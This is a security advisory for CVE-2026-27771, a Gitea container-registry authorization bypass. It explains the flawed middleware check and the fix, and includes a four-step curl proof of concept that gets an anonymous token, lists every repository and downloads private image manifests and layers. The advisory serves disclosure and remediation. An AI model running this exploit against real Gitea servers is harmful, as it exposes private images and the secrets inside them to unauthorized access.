high · 8.2CVE-2026-27771Jul 17, 2026

CVE-2026-27771: Gitea Container Registry Authentication Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Gitea's built-in OCI container registry never checked whether a package owner's visibility was private before serving image manifests and layers, so anyone on the internet could pull "private" contain

Packagecode.gitea.io/gitea
Ecosystemgo
Affected<= 1.26.1
Fixed in1.26.2

The problem

The `ReqContainerAccess` middleware in `routers/api/packages/container/container.go` only verified that a request context existed. It never evaluated the package owner's visibility setting (public, internal, or private).

A ghost user (UserID: -1) could obtain an anonymous OCI token from `/v2/token` with no credentials, then use that token to enumerate all repositories via `/v2/_catalog` and pull any private image's manifests and blob layers. The flaw had been present for roughly four years and affected more than 30,000 internet-facing deployments.

Proof of concept

A working proof-of-concept for CVE-2026-27771 in code.gitea.io/gitea, with the exact payload below.

bash
# Step 1: get an anonymous OCI token (no credentials required)
TOKEN=$(curl -s 'http://gitea.example.com/v2/token?service=container_registry&scope=' | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

# Step 2: enumerate ALL repositories (public and private)
curl -s -H "Authorization: Bearer $TOKEN" \
  http://gitea.example.com/v2/_catalog
# {"repositories":["alice/public-app","alice/secret-app","bob/private-infra"]}

# Step 3: pull the manifest of a private image
curl -s -H "Authorization: Bearer $TOKEN" \
  -H "Accept: application/vnd.oci.image.manifest.v1+json" \
  http://gitea.example.com/v2/alice/secret-app/manifests/latest

# Step 4: download a blob layer (digest from manifest above)
curl -s -H "Authorization: Bearer $TOKEN" \
  -o layer.tar.gz \
  http://gitea.example.com/v2/alice/secret-app/blobs/sha256:<digest>

The vulnerable `ReqContainerAccess` guard read: `if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) { apiUnauthorizedError(ctx) }`. When `REQUIRE_SIGNIN_VIEW` was false (the default), the `/v2/token` endpoint issued an anonymous JWT to ghost users with no scope, and `ReqContainerAccess` let that ghost user through because neither condition triggered.

PR #37610 introduced package-level visibility labels so the middleware can distinguish private, internal, and public packages and reject ghost users for non-public ones. PR #37290 also fixed the auth challenge header to avoid sending `WWW-Authenticate: Basic realm` on public instances, which previously caused Docker clients to silently accept anonymous tokens.

CWE-862 (Missing Authorization) is the precise classification.

The fix

Upgrade to Gitea 1.26.2 or later (released 2026-05-20). If an immediate upgrade is not possible, set `REQUIRE_SIGNIN_VIEW = true` under `[service]` in `app.ini` as a temporary workaround; note this forces login for all content including public repos and does not fix the underlying permission model.

After patching, audit image history for any private images that may have been exposed: inspect layers for baked-in secrets, API keys, TLS material, and environment variables, and rotate anything found.

Reported by NoScope.

References: [1][2][3][4][5][6]

Related research